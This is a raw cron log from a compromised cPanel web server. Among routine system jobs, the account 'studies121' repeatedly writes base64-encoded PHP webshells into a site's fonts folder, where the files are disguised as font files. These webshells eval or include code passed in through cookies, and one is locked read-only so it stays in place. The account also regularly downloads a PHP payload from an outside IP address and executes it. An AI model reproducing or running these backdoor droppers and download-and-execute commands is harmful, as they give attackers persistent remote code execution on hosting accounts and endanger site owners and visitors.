Feb 22 23:34:01 ip-184-168-122-23 CROND[15365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:34:01 ip-184-168-122-23 CROND[15366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:35:02 ip-184-168-122-23 CROND[15688]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15692]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15698]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:35:02 ip-184-168-122-23 CROND[15693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:36:01 ip-184-168-122-23 CROND[16026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:36:01 ip-184-168-122-23 CROND[16027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:36:01 ip-184-168-122-23 CROND[16029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:36:01 ip-184-168-122-23 CROND[16030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:36:01 ip-184-168-122-23 CROND[16031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:37:01 ip-184-168-122-23 CROND[16345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:37:01 ip-184-168-122-23 CROND[16348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:37:01 ip-184-168-122-23 CROND[16347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:37:01 ip-184-168-122-23 CROND[16351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:38:01 ip-184-168-122-23 CROND[16730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:38:01 ip-184-168-122-23 CROND[16734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:38:01 ip-184-168-122-23 CROND[16733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:38:01 ip-184-168-122-23 CROND[16735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:38:01 ip-184-168-122-23 CROND[16732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:39:01 ip-184-168-122-23 CROND[17044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:39:01 ip-184-168-122-23 CROND[17045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:39:01 ip-184-168-122-23 CROND[17048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:39:01 ip-184-168-122-23 CROND[17049]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 23:39:01 ip-184-168-122-23 CROND[17052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:40:01 ip-184-168-122-23 CROND[17377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:40:01 ip-184-168-122-23 CROND[17378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:41:01 ip-184-168-122-23 CROND[17717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:41:01 ip-184-168-122-23 CROND[17719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:41:01 ip-184-168-122-23 CROND[17720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:41:01 ip-184-168-122-23 CROND[17721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:42:01 ip-184-168-122-23 CROND[18033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:42:01 ip-184-168-122-23 CROND[18035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:42:01 ip-184-168-122-23 CROND[18036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:42:01 ip-184-168-122-23 CROND[18037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:42:01 ip-184-168-122-23 CROND[18038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:43:01 ip-184-168-122-23 CROND[18359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:43:01 ip-184-168-122-23 CROND[18361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:43:01 ip-184-168-122-23 CROND[18362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:43:01 ip-184-168-122-23 CROND[18364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:44:01 ip-184-168-122-23 CROND[18752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:44:01 ip-184-168-122-23 CROND[18753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:44:01 ip-184-168-122-23 CROND[18755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:44:01 ip-184-168-122-23 CROND[18754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:44:01 ip-184-168-122-23 CROND[18757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:45:01 ip-184-168-122-23 CROND[19068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:45:01 ip-184-168-122-23 CROND[19070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:45:01 ip-184-168-122-23 CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:45:01 ip-184-168-122-23 CROND[19075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:45:01 ip-184-168-122-23 CROND[19072]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:45:01 ip-184-168-122-23 CROND[19074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:46:01 ip-184-168-122-23 CROND[19455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:46:01 ip-184-168-122-23 CROND[19457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
